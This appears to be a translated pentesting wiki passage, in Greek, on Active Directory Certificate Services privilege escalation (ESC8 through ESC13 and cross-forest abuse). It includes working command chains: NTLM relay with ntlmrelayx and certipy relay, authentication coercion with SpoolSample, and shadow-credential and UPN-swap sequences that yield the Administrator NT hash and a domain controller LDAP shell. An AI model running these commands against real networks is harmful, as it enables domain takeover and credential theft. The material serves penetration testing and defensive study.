  • Η διεπαφή εγγραφής web (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο http://<caserver>/certsrv/), προεπιλογής λειτουργεί μόνο με HTTP, το οποίο δεν προσφέρει προστασία ενάντια σε επιθέσεις NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization της, καθιστώντας ανεφάρμοστες πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos.

  • Η Υπηρεσία Εγγραφής Πιστοποιητικών (CES), η Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών (CEP) και η Υπηρεσία Εγγραφής Συσκευών Δικτύου (NDES) υποστηρίζουν προεπιλεγμένα τη διαπραγμάτευση πιστοποίησης μέσω της κεφαλίδας HTTP Authorization τους. Η διαπραγμάτευση πιστοποίησης υποστηρίζει τόσο το Kerberos όσο και το NTLM, επιτρέποντας σε έναν επιτιθέμενο να υποβαθμίσει σε NTLM πιστοποίηση κατά τις επιθέσεις relay. Αν και αυτές οι υπηρεσίες web ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS μόνο του δεν προστατεύει ενάντια σε επιθέσεις NTLM relay. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για το channel binding.

Ένα συνηθισμένο πρόβλημα με τις επιθέσεις NTLM relay είναι η σύντομη διάρκεια των συνεδριών NTLM και η ανικανότητα του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που απαιτούν υπογραφή NTLM.

Ωστόσο, αυτό το περιορισμό ξεπερνιέται με την εκμετάλλευση μιας επίθεσης NTLM relay για να αποκτηθεί ένα πιστοποιητικό για τον χρήστη, καθώς η περίοδος ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που απαιτούν υπογραφή NTLM. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο:

pageAD CS Account Persistence

Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι ένα μηχάνημα που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από ένα λογαριασμό θύματος. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να αναγκάσει αυτήν την πιστοποίηση:

pageForce NTLM Privileged Authentication

Κατάχρηση

Certify το cas απαριθμεί τα ενεργοποιημένα HTTP σημεία άκρης του AD CS:

Certify.exe cas

Η ιδιότητα msPKI-Enrollment-Servers χρησιμοποιείται από επιχειρηματικές Αρχές Πιστοποίησης (CAs) για να αποθηκεύουν τα σημεία Υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα σημεία μπορούν να αναλυθούν και να καταχωρηθούν χρησιμοποιώντας το εργαλείο Certutil.exe:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Κατάχρηση με Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Κατάχρηση με το Certipy

Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο Machine ή User, που καθορίζεται από το εάν το όνομα λογαριασμού που μεταδίδεται τελειώνει σε $. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου -template.

Μια τεχνική όπως το PetitPotam μπορεί στη συνέχεια να χρησιμοποιηθεί για να επιβάλει την ταυτοποίηση. Όταν ασχολείστε με ελεγκτές τομέων, απαιτείται η καθορισμός της παραμέτρου -template DomainController.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Χωρίς Επέκταση Ασφάλειας - ESC9

Εξήγηση

Η νέα τιμή CT_FLAG_NO_SECURITY_EXTENSION (0x80000) για το msPKI-Enrollment-Flag, αναφερόμενη ως ESC9, αποτρέπει την ενσωμάτωση της νέας επέκτασης ασφάλειας szOID_NTDS_CA_SECURITY_EXT σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν το StrongCertificateBindingEnforcement έχει οριστεί σε 1 (η προεπιλεγμένη ρύθμιση), η οποία αντίθετα με τη ρύθμιση 2. Η σημασία της αυξάνεται σε σενάρια όπου μια αδύναμη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel θα μπορούσε να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα αλλάξει τις απαιτήσεις.

Οι περιπτώσεις όπου η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν:

  • Το StrongCertificateBindingEnforcement δεν έχει προσαρμοστεί σε 2 (με την προεπιλεγμένη τιμή να είναι 1), ή το CertificateMappingMethods περιλαμβάνει τη σημαία UPN.

  • Το πιστοποιητικό είναι επισημασμένο με τη σημαία CT_FLAG_NO_SECURITY_EXTENSION εντός της ρύθμισης msPKI-Enrollment-Flag.

  • Οποιοδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό.

  • Οι άδειες GenericWrite είναι διαθέσιμες για οποιονδήποτε λογαριασμό για να διακινδυνεύσει έναν άλλο.

Σενάριο Κατάχρησης

Υποθέτουμε ότι ο John@corp.local έχει δικαιώματα GenericWrite πάνω στον λογαριασμό Jane@corp.local, με στόχο να διακινδυνεύσει τον Administrator@corp.local. Το πρότυπο πιστοποιητικού ESC9, το οποίο η Jane@corp.local έχει άδεια να εγγραφεί, έχει ρυθμιστεί με τη σημαία CT_FLAG_NO_SECURITY_EXTENSION στη ρύθμιση του msPKI-Enrollment-Flag.

Αρχικά, η κρυπτογράφηση της Jane αποκτάται χρησιμοποιώντας τα Shadow Credentials, χάρη στο GenericWrite του John:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

Στη συνέχεια, το userPrincipalName της Jane τροποποιείται σε Administrator, παραλείποντας εσκεμμένα το τμήμα του τομέα @corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το Administrator@corp.local παραμένει διακριτικό ως userPrincipalName του Administrator.

Ακολούθως, το πρότυπο πιστοποιητικού ESC9, το οποίο έχει χαρακτηριστεί ευάλωτο, ζητείται ως Jane:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

Σημειώνεται ότι το userPrincipalName του πιστοποιητικού αντικατοπτρίζει το Administrator, χωρίς κανένα "object SID".

Το userPrincipalName της Jane επαναφέρεται στον αρχικό του, Jane@corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Η προσπάθεια πιστοποίησης με το εκδοθέν πιστοποιητικό τώρα επιστρέφει το NT hash του Administrator@corp.local. Η εντολή πρέπει να περιλαμβάνει το -domain <domain> λόγω έλλειψης καθορισμού του τομέα στο πιστοποιητικό:

certipy auth -pfx adminitrator.pfx -domain corp.local

Αδύναμες Αντιστοιχίσεις Πιστοποιητικών - ESC10

Εξήγηση

Δύο τιμές κλειδιών μητρώου στον ελεγκτή τομέα αναφέρονται από το ESC10:

  • Η προεπιλεγμένη τιμή για το CertificateMappingMethods κάτω από HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel είναι 0x18 (0x8 | 0x10), προηγουμένως ρυθμισμένη σε 0x1F.

  • Η προεπιλεγμένη ρύθμιση για το StrongCertificateBindingEnforcement κάτω από HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc είναι 1, προηγουμένως 0.

Περίπτωση 1

Όταν το StrongCertificateBindingEnforcement ρυθμίζεται ως 0.

Περίπτωση 2

Εάν το CertificateMappingMethods περιλαμβάνει το bit UPN (0x4).

Περίπτωση Κατάχρησης 1

Με το StrongCertificateBindingEnforcement ρυθμισμένο ως 0, ένας λογαριασμός Α με δικαιώματα GenericWrite μπορεί να εκμεταλλευτεί για να διακινδυνεύσει οποιονδήποτε λογαριασμό Β.

Για παράδειγμα, έχοντας δικαιώματα GenericWrite πάνω στο Jane@corp.local, ένας επιτιθέμενος στοχεύει να διακινδυνεύσει τον Administrator@corp.local. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.

Αρχικά, η κρυπτογράφηση του Jane ανακτάται χρησιμοποιώντας τα Shadow Credentials, εκμεταλλευόμενη το GenericWrite.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

Στη συνέχεια, το userPrincipalName της Jane τροποποιείται σε Administrator, προσβλητικά παραλείποντας το τμήμα @corp.local για να αποφευχθεί μια παραβίαση περιορισμού.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Ακολουθώντας αυτό, ζητείται ένα πιστοποιητικό που επιτρέπει την πιστοποίηση του πελάτη ως Jane, χρησιμοποιώντας το προεπιλεγμένο πρότυπο User.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane's userPrincipalName επαναφέρεται στην αρχική του τιμή, Jane@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Η πιστοποίηση με το ληφθέν πιστοποιητικό θα παράγει το NT hash του Administrator@corp.local, απαιτώντας την καθορισμό του τομέα στην εντολή λόγω της απουσίας λεπτομερειών του τομέα στο πιστοποιητικό.

certipy auth -pfx administrator.pfx -domain corp.local

Περίπτωση Κατάχρησης 2

Με το CertificateMappingMethods περιέχοντας το bit flag UPN (0x4), ένας λογαριασμός Α με δικαιώματα GenericWrite μπορεί να εκμεταλλευτεί οποιονδήποτε λογαριασμό Β που λείπει το χαρακτηριστικό userPrincipalName, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή του τομέα Administrator.

Εδώ, ο στόχος είναι να διαρρεύσει ο λογαριασμός DC$@corp.local, ξεκινώντας με την απόκτηση του hash της Jane μέσω των Shadow Credentials, εκμεταλλευόμενος το GenericWrite.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane's userPrincipalName ορίζεται στο DC$@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

Ένα πιστοποιητικό για την πιστοποίηση του πελάτη ζητείται ως Jane χρησιμοποιώντας το προεπιλεγμένο πρότυπο Χρήστη.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane's userPrincipalName επαναφέρεται στην αρχική του κατάσταση μετά από αυτήν τη διαδικασία.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Για να πιστοποιηθεί μέσω του Schannel, χρησιμοποιείται η επιλογή -ldap-shell του Certipy, ενώ η επιτυχία πιστοποίησης εμφανίζεται ως u:CORP\DC$.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Μέσω του LDAP κέλυφους, εντολές όπως το set_rbcd ενεργοποιούν επιθέσεις Resource-Based Constrained Delegation (RBCD), που μπορεί να θέσουν σε κίνδυνο τον ελεγκτή του τομέα.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που λείπει το userPrincipalName ή όπου δεν ταιριάζει με το sAMAccountName, με το προεπιλεγμένο Administrator@corp.local να είναι ένας κύριος στόχος λόγω των υψηλών προνομίων LDAP και της απουσίας ενός userPrincipalName από προεπιλογή.

Προώθηση NTLM στο ICPR - ESC11

Εξήγηση

Εάν ο Διακομιστής CA δεν έχει ρυθμιστεί με το IF_ENFORCEENCRYPTICERTREQUEST, μπορεί να πραγματοποιήσει επιθέσεις ανακατεύθυνσης NTLM χωρίς υπογραφή μέσω της υπηρεσίας RPC. Αναφορά εδώ.

Μπορείτε να χρησιμοποιήσετε το certipy για να απαριθμήσετε εάν η Επιβολή Κρυπτογράφησης για Αιτήσεις είναι απενεργοποιημένη και το certipy θα εμφανίσει τις ευπάθειες ESC11.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Σενάριο Κατάχρησης

Χρειάζεται να δημιουργήσετε έναν διακομιστή αναμετάδοσης:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Σημείωση: Για τους ελεγκτές τομέα, πρέπει να καθορίσουμε το -template στο DomainController.

Ή χρησιμοποιώντας το fork του sploutchy του impacket :

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Πρόσβαση κέλυφους στον ADCS CA με YubiHSM - ESC12

Εξήγηση

Οι διαχειριστές μπορούν να ρυθμίσουν την Αρχή Πιστοποίησης για να την αποθηκεύσουν σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2".

Εάν η συσκευή USB συνδέεται στον διακομιστή CA μέσω θύρας USB, ή μέσω ενός διακομιστή συσκευών USB στην περίπτωση που ο διακομιστής CA είναι εικονική μηχανή, απαιτείται ένα κλειδί ελέγχου ταυτότητας (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για τον Πάροχο Αποθήκευσης Κλειδιών για τη δημιουργία και χρήση κλειδιών στο YubiHSM.

Αυτό το κλειδί/κωδικός πρόσβασης αποθηκεύεται στο μητρώο υπό HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword σε καθαρό κείμενο.

Αναφορά στο εδώ.

Σενάριο Κατάχρησης

Αν ο ιδιωτικός κλειδί της CA αποθηκεύεται σε μια φυσική συσκευή USB και έχετε πρόσβαση στο κέλυφος, είναι δυνατή η ανάκτηση του κλειδιού.

Αρχικά, πρέπει να αποκτήσετε το πιστοποιητικό της CA (αυτό είναι δημόσιο) και στη συνέχεια:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

Κατάχρηση Συνδέσμου Ομάδας OID - ESC13

Εξήγηση

Το χαρακτηριστικό msPKI-Certificate-Policy επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα msPKI-Enterprise-Oid που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να ανακαλυφθούν στον Πεδίο Ονομασίας Διαμόρφωσης (CN=OID,CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες) του δοχείου PKI OID. Μια πολιτική μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το χαρακτηριστικό msDS-OIDToGroupLink αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό ως να ήταν μέλος της ομάδας. Αναφορά εδώ.

Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να εγγραφεί ένα πιστοποιητικό και το πιστοποιητικό συνδέεται με μια ομάδα OID, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας.

Χρησιμοποιήστε το Check-ADCSESC13.ps1 για να βρείτε το OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

Σενάριο Κατάχρησης

Βρείτε ένα δικαίωμα χρήστη που μπορεί να χρησιμοποιήσει την εντολή certipy find ή Certify.exe find /showAllPermissions.

Αν ο John έχει άδεια να εγγραφεί στο VulnerableTemplate, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας VulnerableGroup.

Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το πρότυπο, θα λάβει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

Εξήγηση της Παραβίασης των Δασών με Πιστοποιητικά στην Παθητική Φωνή

Θραύση των Trust των Δασών από Κατεστραμμένες CAs

Η διαμόρφωση για την διασυνοριακή εγγραφή γίνεται σχετικά απλή. Το πιστοποιητικό της ρίζας CA από το δάσος πόρων δημοσιεύεται στα δάση λογαριασμών από τους διαχειριστές, και τα πιστοποιητικά της επιχείρησης CA από το δάσος πόρων προστίθενται στους κάδους NTAuthCertificates και AIA σε κάθε δάσος λογαριασμού. Για να διευκρινιστεί, αυτή η διάταξη χορηγεί στο CA στο δάσος πόρων πλήρη έλεγχο πάνω σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Αν αυτό το CA καταστραφεί από επιτιθέμενους, τα πιστοποιητικά για όλους τους χρήστες τόσο στο δάσος πόρων όσο και στα δάση λογαριασμών μπορεί να πλαστογραφηθούν από αυτούς, καταρρίπτοντας έτσι το όριο ασφαλείας του δάσους.

Προνομιούχες Εγγραφές που Χορηγούνται σε Ξένους Αρχηγούς

Σε περιβάλλοντα με πολλά δάση, απαιτείται προσοχή όσον αφορά τις Επιχειρησιακές CAs που δημοσιεύουν πρότυπα πιστοποιητικών τα οποία επιτρέπουν σε Εξουσιοδοτημένους Χρήστες ή ξένους αρχηγούς (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Επιχειρησιακή CA) δικαιώματα εγγραφής και επεξεργασίας. Κατά την επαλήθευση απέναντι σε μια εμπιστοσύνη, το SID των Εξουσιοδοτημένων Χρηστών προστίθεται στο τεκμήριο του χρήστη από το AD. Έτσι, αν ένας τομέας διαθέτει μια Επιχειρησιακή CA με ένα πρότυπο που επιτρέπει τα δικαιώματα εγγραφής στους Εξουσιοδοτημένους Χρήστες, ένα πρότυπο θα μπορούσε πιθανόν να εγγραφεί από έναν χρήστη από διαφορετικό δάσος. Αντίστοιχα, αν τα δικαιώματα εγγραφής χορηγούνται ρητά σε ξένο αρχηγό από ένα πρότυπο, δημιουργείται έτσι μια σχέση ελέγχου πρόσβασης διασυνοριακά, επιτρέποντας σε έναν αρχηγό από ένα δάσος να εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος.

Και τα δύο σενάρια οδηγούν σε μια αύξηση της επιφάνειας επίθεσης από ένα δάσος σε ένα άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα ξένο τομέα.

Last updated